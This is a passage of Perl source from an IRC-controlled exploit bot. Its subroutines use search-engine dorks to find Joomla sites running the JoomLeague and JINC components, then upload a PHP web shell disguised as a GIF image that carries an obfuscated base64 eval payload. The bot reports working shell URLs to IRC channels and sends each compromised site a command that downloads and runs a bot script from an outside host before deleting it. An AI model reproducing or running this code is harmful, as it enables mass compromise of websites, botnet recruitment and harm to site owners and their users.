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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_joomleague/assets/Classes/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$joomleaguelogo215$engine 9 sHeLL 8 http://".$site."/administrator/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$joomleaguelogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$joomleaguelogo215$engine 9 sHeLL 8 http://".$site."/administrator/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$joomleaguelogo215$engine 9 sHeLL 8 http://".$site."/administrator/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_joomleague/assets/Classes/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_joomleague/assets/classes/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$joomleaguelogo215$engine 9 sHeLL 8 http://".$site."/administrator/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$joomleaguelogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$joomleaguelogo215$engine 9 sHeLL 8 http://".$site."/administrator/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$joomleaguelogo215$engine 9 sHeLL 8 http://".$site."/administrator/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_joomleague/assets/Classes/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub jinc_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$jinclogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$jinclogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$jinclogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$jinclogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$jinclogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$jinclogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$jinclogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$jinclogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$jinclogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub jinc2_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$jinclogo2); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_jinc/classes/graphics/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$jinclogo215$engine 9 sHeLL 8 http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$jinclogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$jinclogo215$engine 9 sHeLL 8 http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$jinclogo215$engine 9 sHeLL 8 http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; 